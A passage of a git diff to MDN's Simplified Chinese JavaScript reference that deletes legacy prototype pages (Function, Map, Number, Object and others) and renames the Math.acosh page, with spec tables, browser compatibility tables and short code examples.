{{jsxref("Error.prototype.lineNumber")}}
-
产生该错误的行号。
-
{{jsxref("Error.prototype.columnNumber")}}
-
产生该错误的列号。
-
{{jsxref("Error.prototype.stack")}}
-
错误堆栈。
-
- -

方法

- -
-
{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}
-
返回一个包含特定 {{jsxref("Error")}} 对象的源代码字符串,你可以用该值新建一个新的对象,重写自 {{jsxref("Object.prototype.toSource()")}} 方法。
-
{{jsxref("Error.prototype.toString()")}}
-
返回一个表示该对象的字符串,重写自 {{jsxref("Object.prototype.toString()")}} 方法。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范版本状态注解
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype', 'Error')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

参见

- -
    -
  • {{jsxref("Error")}}
  • -
  • {{jsxref("Object.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/evalerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/evalerror/prototype/index.html deleted file mode 100644 index b68caa1f3f..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/evalerror/prototype/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: EvalError.prototype -slug: Web/JavaScript/Reference/Global_Objects/EvalError/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/EvalError -translation_of_original: Web/JavaScript/Reference/Global_Objects/EvalError/prototype ---- -
{{JSRef}}
- -

EvalError.prototype 属性是 {{jsxref("EvalError")}} 原型构造函数.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

{{jsxref("EvalError")}} 全部实例都继承自EvalError.prototype. 你可以通过prototype去添加方法和属性.

- -

Properties

- -
-
EvalError.prototype.constructor
-
指定创建实例原型的函数.
-
{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}
-
错误信息. 从 ECMA-262 开始 {{jsxref("EvalError")}} 提供 message (继承自{{jsxref("Error.prototype.message")}})属性, 详见 SpiderMonkey.
-
{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}
-
错误名称.继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}
-
引发错误的文件路径. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}
-
引发错误所在行.继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}
-
引发错误所在的列. 继承自{{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}
-
堆栈.继承自 {{jsxref("Error")}}.
-
- -

Methods

- -

虽然 {{jsxref("EvalError")}} 自己的属性方法较少, 但是通过原型链继承了很多有用的方法.

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}初代.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}定义为NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}定义为NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}定义为NativeError.prototype.
- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.EvalError")}}

-
- -

See also

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/function/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/function/prototype/index.html deleted file mode 100644 index a745753511..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/function/prototype/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Function.prototype -slug: Web/JavaScript/Reference/Global_Objects/Function/prototype -tags: - - JavaScript - - 函数 - - 原型 - - 原型属性 -translation_of: Web/JavaScript/Reference/Global_Objects/Function -translation_of_original: Web/JavaScript/Reference/Global_Objects/Function/prototype ---- -
{{JSRef}}
- -

Function.prototype 属性存储了 {{jsxref("Function")}} 的原型对象。

- -

描述

- -

{{jsxref("Function")}}对象继承自 Function.prototype 属性。因此,Function.prototype 不能被修改。

- -

属性

- -
-
{{jsxref("Function.arguments")}} {{deprecated_inline()}}
-
以数组形式获取传入函数的所有参数。此属性已被{{jsxref("Functions_and_function_scope/arguments", "arguments")}}替代。
-
{{jsxref("Function.arity")}} {{obsolete_inline() }}
-
用于指定的函数的参数的个数,但已被删除。使用{{jsxref("Function.length","length")}}属性代替。
-
{{jsxref("Function.caller")}} {{ Non-standard_inline() }}
-
获取调用函数的具体对象。
-
{{jsxref("Function.length")}}
-
获取函数的接收参数个数。
-
{{jsxref("Function.name")}} {{ Non-standard_inline() }}
-
获取函数的名称。
-
{{jsxref("Function.displayName")}} {{ Non-standard_inline() }}
-
获取函数的display name。
-
Function.prototype.constructor
-
声明函数的原型构造方法,详细请参考 {{jsxref("Object.constructor")}} 。
-
- -

方法

- -
-
{{jsxref("Function.prototype.apply()")}}
-
在一个对象的上下文中应用另一个对象的方法;参数能够以数组形式传入。
-
{{jsxref("Function.prototype.bind()")}}
-
bind()方法会创建一个新函数,称为绑定函数.当调用这个绑定函数时,绑定函数会以创建它时传入 bind()方法的第一个参数作为 this,传入 bind()方法的第二个以及以后的参数加上绑定函数运行时本身的参数按照顺序作为原函数的参数来调用原函数.
-
{{jsxref("Function.prototype.call()")}}
-
在一个对象的上下文中应用另一个对象的方法;参数能够以列表形式传入。
-
{{jsxref("Function.prototype.isGenerator()")}} {{ Non-standard_inline() }}
-
若函数对象为generator,返回true,反之返回 false
-
{{jsxref("Function.prototype.toSource()")}} {{ Non-standard_inline() }}
-
获取函数的实现源码的字符串。 覆盖了 {{jsxref("Object.prototype.toSource")}} 方法。
-
{{jsxref("Function.prototype.toString()")}}
-
获取函数的实现源码的字符串。覆盖了 {{jsxref("Object.prototype.toString")}} 方法。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态说明
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.Implemented in JavaScript 1.1
{{SpecName('ES5.1', '#sec-15.3.5.2', 'Function.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-instances-prototype', 'Function.prototype')}}{{Spec2('ES6')}} 
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -

参考

- -
    -
  • {{jsxref("Function")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/generatorfunction/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/generatorfunction/prototype/index.html deleted file mode 100644 index 0f7179b3f5..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/generatorfunction/prototype/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: GeneratorFunction.prototype -slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype -tags: - - ECMAScript 2015 - - GeneratorFunction - - Iterator - - JavaScript - - Property - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction -translation_of_original: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype ---- -
{{JSRef}}
- -

GeneratorFunction.prototype属性是{{jsxref("GeneratorFunction")}}的原型对象。

- -

描述

- -

{{jsxref("GeneratorFunction")}} 的实例对象都继承于 GeneratorFunction.prototype. GeneratorFunction.prototype 不能被修改。

- -

属性

- -
-
GeneratorFunction.constructor
-
初始值是 {{jsxref("GeneratorFunction")}}.
-
GeneratorFunction.prototype.prototype
-
值是 %GeneratorPrototype%.
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容

- - - -

{{Compat("javascript.builtins.GeneratorFunction.prototype")}}

- -

相关链接

- -
    -
  • {{jsxref("GeneratorFunction")}}
  • -
  • {{jsxref("Function")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html deleted file mode 100644 index f74e8f9cf5..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Intl.DateTimeFormat.prototype -slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype ---- -
{{JSRef}}
- -

Intl.DateTimeFormat.prototype表示 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}构造函数的原型对象。

- -

{{js_property_attributes(0, 0, 0)}} 

- -

描述

- -

参见 {{jsxref("DateTimeFormat")}}来看Intl.DateTimeFormat实例的一个描述。

- -

{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 实例继承自Intl.DateTimeFormat.prototype. 对原型对象的修改都继承自{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}实例。

- -

属性

- -
-
Intl.DateTimeFormat.prototype.constructor
-
请参考 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.
-
{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}
-
Getter; 返回一个{{jsxref("DateTimeFormat", "DateTimeFormat")}}对象的根据locale和格式化参数格式化日期的函数。
-
- -

方法

- -
-
{{jsxref("DateTimeFormat.formatToParts", "Intl.DateTimeFormat.prototype.formatToParts()")}}
-
Returns an {{jsxref("Array")}} of objects representing the date string in parts that can be used for custom locale-aware formatting.
-
{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}
-
返回一个新的属性对象,反射出在对象初始化过程中计算出的locale和options的各个值。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范版本规范状态注解
{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 1.0')}}初始定义
{{SpecName('ES Int 2.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int Draft')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("24")}}{{CompatGeckoDesktop("29")}}{{CompatIE("11")}}{{CompatOpera("15")}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome("26")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

参见

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/prototype/index.html deleted file mode 100644 index d98bdfac5a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/map/prototype/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Map.prototype -slug: Web/JavaScript/Reference/Global_Objects/Map/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Map -translation_of_original: Web/JavaScript/Reference/Global_Objects/Map/prototype ---- -
{{JSRef}}
- -

Map.prototype 属性表示 {{jsxref("Map")}}构造函数的原型对象。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("Map")}} 实例继承自{{jsxref("Map.prototype")}}。你可以使用这个构造函数的原型对象来给所有的Map实例添加属性或者方法。

- -

属性

- -
-
Map.prototype.constructor
-
返回一个函数,它创建了实例的原型。默认是{{jsxref("Map")}}函数。
-
{{jsxref("Map.prototype.size")}}
-
返回Map对象的键/值对的数量。
-
- -

方法

- -
-
{{jsxref("Map.prototype.clear()")}}
-
移除Map对象的所有键/值对 。
-
{{jsxref("Map.delete", "Map.prototype.delete(key)")}}
-
如果 Map 对象中存在该元素,则移除它并返回 true;否则如果该元素不存在则返回 false。随后调用 Map.prototype.has(key) 将返回 false
-
{{jsxref("Map.prototype.entries()")}}
-
返回一个新的 Iterator 对象,它按插入顺序包含了Map对象中每个元素的 [key, value] 数组
-
{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}
-
按插入顺序,为 Map对象里的每一键值对调用一次callbackFn函数。如果为forEach提供了thisArg,它将在每次回调中作为this值。
-
{{jsxref("Map.get", "Map.prototype.get(key)")}}
-
返回键对应的值,如果不存在,则返回undefined。
-
{{jsxref("Map.has", "Map.prototype.has(key)")}}
-
返回一个布尔值,表示Map实例是否包含键对应的值。
-
{{jsxref("Map.prototype.keys()")}}
-
返回一个新的 Iterator对象, 它按插入顺序包含了Map对象中每个元素的
-
{{jsxref("Map.set", "Map.prototype.set(key, value)")}}
-
设置Map对象中键的值。返回该Map对象。
-
{{jsxref("Map.prototype.values()")}}
-
返回一个新的Iterator对象,它按插入顺序包含了Map对象中每个元素的
-
{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
-
返回一个新的Iterator对象,它按插入顺序包含了Map对象中每个元素的 [key, value] 数组
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{ CompatGeckoDesktop("13") }}11257.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}38{{CompatGeckoMobile("13")}}{{CompatNo}}{{CompatNo}} -

8

-
-
- -

相关链接

- -
    -
  • {{jsxref("Set.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html b/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html new file mode 100644 index 0000000000..7869661836 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html @@ -0,0 +1,91 @@ +--- +title: Math.acosh() +slug: Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 +tags: + - JavaScript + - 双曲函数 + - 数学 + - 方法 +translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh +--- +
{{JSRef}}
+ +

Math.acosh() 函数返回一个数的反双曲余弦值,即:

+ +

x1,Math.acosh(x)=arcosh(x)= the unique y0such thatcosh(y)=x\forall x \geq 1, \mathtt{\operatorname{Math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ 唯一的} \; y \geq 0 \; \text{使得} \; \cosh(y) = x

+ +
{{EmbedInteractiveExample("pages/js/math-acosh.html")}}
+ + + +

语法

+ +
Math.acosh(x)
+ +

参数

+ +
+
x
+
一个数字。
+
+ +

返回值

+ +

返回给定数的反双曲余弦值,如果该数小于 1 则返回 {{jsxref("NaN")}}。

+ +

描述

+ +

因为 acosh() 是 Math 的静态方法,所以总应该直接调用 Math.acosh() ,而不是创建 Math 对象再调用该方法(Math 不是一个构造函数)。

+ +

示例

+ +

使用 Math.acosh()

+ +
Math.acosh(-1);  // NaN
+Math.acosh(0);   // NaN
+Math.acosh(0.5); // NaN
+Math.acosh(1);   // 0
+Math.acosh(2);   // 1.3169578969248166
+
+ +

当参数小于1时, Math.acosh()将返回 {{jsxref("NaN")}}。

+ +

向下兼容

+ +

x1x \geq 1 时,都有 arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right) ,因此可以使用以下函数实现:

+ +
Math.acosh = Math.acosh || function(x) {
+  return Math.log(x + Math.sqrt(x * x - 1));
+};
+
+ +

规范

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.Math.acosh")}}

+ +

参见

+ +
    +
  • {{jsxref("Math.asinh()")}}
  • +
  • {{jsxref("Math.atanh()")}}
  • +
  • {{jsxref("Math.cosh()")}}
  • +
  • {{jsxref("Math.sinh()")}}
  • +
  • {{jsxref("Math.tanh()")}}
  • +
diff --git "a/files/zh-cn/web/javascript/reference/global_objects/math/\345\217\215\345\217\214\346\233\262\344\275\231\345\274\246\345\200\274/index.html" "b/files/zh-cn/web/javascript/reference/global_objects/math/\345\217\215\345\217\214\346\233\262\344\275\231\345\274\246\345\200\274/index.html" deleted file mode 100644 index 7869661836..0000000000 --- "a/files/zh-cn/web/javascript/reference/global_objects/math/\345\217\215\345\217\214\346\233\262\344\275\231\345\274\246\345\200\274/index.html" +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Math.acosh() -slug: Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 -tags: - - JavaScript - - 双曲函数 - - 数学 - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh ---- -
{{JSRef}}
- -

Math.acosh() 函数返回一个数的反双曲余弦值,即:

- -

x1,Math.acosh(x)=arcosh(x)= the unique y0such thatcosh(y)=x\forall x \geq 1, \mathtt{\operatorname{Math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ 唯一的} \; y \geq 0 \; \text{使得} \; \cosh(y) = x

- -
{{EmbedInteractiveExample("pages/js/math-acosh.html")}}
- - - -

语法

- -
Math.acosh(x)
- -

参数

- -
-
x
-
一个数字。
-
- -

返回值

- -

返回给定数的反双曲余弦值,如果该数小于 1 则返回 {{jsxref("NaN")}}。

- -

描述

- -

因为 acosh() 是 Math 的静态方法,所以总应该直接调用 Math.acosh() ,而不是创建 Math 对象再调用该方法(Math 不是一个构造函数)。

- -

示例

- -

使用 Math.acosh()

- -
Math.acosh(-1);  // NaN
-Math.acosh(0);   // NaN
-Math.acosh(0.5); // NaN
-Math.acosh(1);   // 0
-Math.acosh(2);   // 1.3169578969248166
-
- -

当参数小于1时, Math.acosh()将返回 {{jsxref("NaN")}}。

- -

向下兼容

- -

x1x \geq 1 时,都有 arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right) ,因此可以使用以下函数实现:

- -
Math.acosh = Math.acosh || function(x) {
-  return Math.log(x + Math.sqrt(x * x - 1));
-};
-
- -

规范

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Math.acosh")}}

- -

参见

- -
    -
  • {{jsxref("Math.asinh()")}}
  • -
  • {{jsxref("Math.atanh()")}}
  • -
  • {{jsxref("Math.cosh()")}}
  • -
  • {{jsxref("Math.sinh()")}}
  • -
  • {{jsxref("Math.tanh()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/number/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/number/prototype/index.html deleted file mode 100644 index 3abe34b74b..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/number/prototype/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Number.prototype -slug: Web/JavaScript/Reference/Global_Objects/Number/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Number -translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype ---- -
- {{JSRef("Global_Objects", "Number")}}
-

概述

-

Number.prototype 属性表示 {{jsxref("Global_Objects/Number", "Number")}} 构造函数的原型。

-
- {{js_property_attributes(0,0,0)}}
-

描述

-

所有 Number 实例都继承自 Number.prototype。修改 {{jsxref("Global_Objects/Number", "Number")}} 构造函数的原型对象会影响到所有 Number 实例。.

-

属性

-
-
- constructor
-
- 返回创建该实例对象的构造函数。默认为 {{jsxref("Global_Objects/Number", "Number")}} 对象。
-
-
- {{ jsOverrides("Object", "properties", "constructor") }}
-

方法

-
-
- {{jsxref("Number.prototype.toExponential()")}}
-
- 返回一个使用指数表示法表示的该数值的字符串表示。
-
- {{jsxref("Number.prototype.toFixed()")}}
-
- 返回一个使用定点表示法表示的该数值的字符串表示。
-
- {{jsxref("Number.prototype.toLocaleString()")}}
-
- 返回一个与语言相关的该数值对象的字符串表示。覆盖了{{jsxref("Object.prototype.toLocaleString()")}} 方法。
-
- {{jsxref("Number.prototype.toPrecision()")}}
-
- 使用定点表示法或指数表示法来表示的指定显示位数的该数值对象的字符串表示。
-
- {{jsxref("Number.prototype.toSource()")}} {{ Non-standard_inline() }}
-
- Returns an object literal representing the specified Number object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.
-
- {{jsxref("Number.prototype.toString()")}}
-
- 返回一个表示该数值对象的字符串。覆盖了 {{jsxref("Object.prototype.toString()")}} 方法。
-
- {{jsxref("Number.prototype.valueOf()")}}
-
- 返回该数值对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
-
-
- {{ jsOverrides("Object", "methods", "toExponential", "toFixed", "toLocaleString", "toPrecision", "toSource", "toString", "valueOf") }}
-
-  
-

规范

- - - - - - - - - - - - - - - - - - - - - - - -
规范版本规范状态注解
ECMAScript 1st Edition. Implemented in JavaScript 1.1StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ES6')}} 
-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
-

 

diff --git a/files/zh-cn/web/javascript/reference/global_objects/object/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/object/prototype/index.html deleted file mode 100644 index 4dd70200f0..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/object/prototype/index.html +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Object.prototype -slug: Web/JavaScript/Reference/Global_Objects/Object/prototype -tags: - - JavaScript - - Object - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Object -translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype ---- -
{{JSRef}}
- -

Object.prototype 属性表示 {{jsxref("Object")}} 的原型对象。

- -

{{js_property_attributes(0, 0, 0)}}

- -

描述

- -

几乎所有的 JavaScript 对象都是 {{jsxref("Object")}} 的实例;一个典型的对象继承了Object.prototype的属性(包括方法),尽管这些属性可能被遮蔽(亦称为覆盖)。但是有时候可能故意创建不具有典型原型链继承的对象,比如通过{{jsxref("Object.create", "Object.create(null)")}}创建的对象,或者通过{{jsxref("Object.setPrototypeOf")}}方法改变原型链。

- -

改变Object原型,会通过原型链改变所有对象;除非在原型链中进一步覆盖受这些变化影响的属性和方法。这提供了一个非常强大的、但有潜在危险的机制来覆盖或扩展对象行为。

- -

属性

- -
-
{{jsxref("Object.prototype.constructor")}}
-
特定的函数,用于创建一个对象的原型。
-
{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}
-
指向当对象被实例化的时候,用作原型的对象。
-
{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}
-
当未定义的对象成员被调用作方法的时候,允许定义并执行的函数。
-
{{jsxref("Object.prototype.__count__")}} {{obsolete_inline}}
-
用于直接返回用户定义的对象中可数的属性的数量。已被废除。
-
{{jsxref("Object.prototype.__parent__")}} {{obsolete_inline}}
-
用于指向对象的内容。已被废除。
-
- -

方法

- -
-
{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
关联一个函数到一个属性。访问该函数时,执行该函数并返回其返回值。
-
{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
关联一个函数到一个属性。设置该函数时,执行该修改属性的函数。
-
{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
返回使用 {{jsxref("Object.defineGetter", "__defineGetter__")}} 定义的方法函数 。
-
{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
返回使用 {{jsxref("Object.defineSetter", "__defineSetter__")}} 定义的方法函数。
-
{{jsxref("Object.prototype.hasOwnProperty()")}}
-
返回一个布尔值 ,表示某个对象是否含有指定的属性,而且此属性非原型链继承的。
-
{{jsxref("Object.prototype.isPrototypeOf()")}}
-
返回一个布尔值,表示指定的对象是否在本对象的原型链中。
-
{{jsxref("Object.prototype.propertyIsEnumerable()")}}
-
判断指定属性是否可枚举,内部属性设置参见 ECMAScript [[Enumerable]] attribute
-
{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
-
返回字符串表示此对象的源代码形式,可以使用此字符串生成一个新的相同的对象。
-
{{jsxref("Object.prototype.toLocaleString()")}}
-
直接调用 {{jsxref("Object.toString", "toString()")}}方法。
-
{{jsxref("Object.prototype.toString()")}}
-
返回对象的字符串表示。
-
{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}
-
移除对象某个属性的监听。
-
{{jsxref("Object.prototype.valueOf()")}}
-
返回指定对象的原始值。
-
{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}
-
给对象的某个属性增加监听。
-
{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}
-
在指定对象为上下文情况下执行javascript字符串代码,已经废弃。
-
- -

示例

- -

当改变现有的 Object.prototype method(方法)的行为时,考虑在现有逻辑之前或之后通过封装你的扩展来注入代码。例如,此(未测试的)代码将在内置逻辑或其他人的扩展执行之前 pre-conditionally(预条件地)执行自定义逻辑。

- -

当一个函数被调用时,调用的参数被保留在类似数组 "变量" 的参数中。例如, 在调用 "myFn (a、b、c)"时, 在myFn 的主体内的参数将包含 3个类似数组的元素对应于 (a、b、c)。 使用钩子修改原型时,只需通过调用该函数的 apply (),将 this 与参数 (调用状态) 传递给当前行为。这种模式可以用于任何原型,如 Node.prototype、 Function.prototype 等.

- -
var current = Object.prototype.valueOf;
-
-// 由于我的属性 "-prop-value"是交叉性的, 并不总是
-// 在同一个原型链上,我想要修改 Object.prototype:
-Object.prototype.valueOf = function() {
-  if (this.hasOwnProperty('-prop-value')) {
-    return this['-prop-value'];
-  } else {
-    // 它看起来不像我的对象之一,因此,让我们退回到
-    // 默认行为,通过尽可能地复制当前行为来实现.
-    // 此apply的行为类似于其他语言中的"super".
-    // 即使 valueOf() 不带参数, 其他的钩子可能会带有.
-    return current.apply(this, arguments);
-  }
-}
- -

由于 JavaScript 并不完全具有子类对象, 所以原型是一种有用的变通方法, 可以使用某些函数的 "基类" 对象来充当对象。例如:

- -
var Person = function(name) {
-  this.name = name;
-  this.canTalk = true;
-};
-
-Person.prototype.greet = function() {
-  if (this.canTalk) {
-    console.log('Hi, I am ' + this.name);
-  }
-};
-
-var Employee = function(name, title) {
-  Person.call(this, name);
-  this.title = title;
-};
-
-Employee.prototype = Object.create(Person.prototype);
-
-Employee.prototype.greet = function() {
-  if (this.canTalk) {
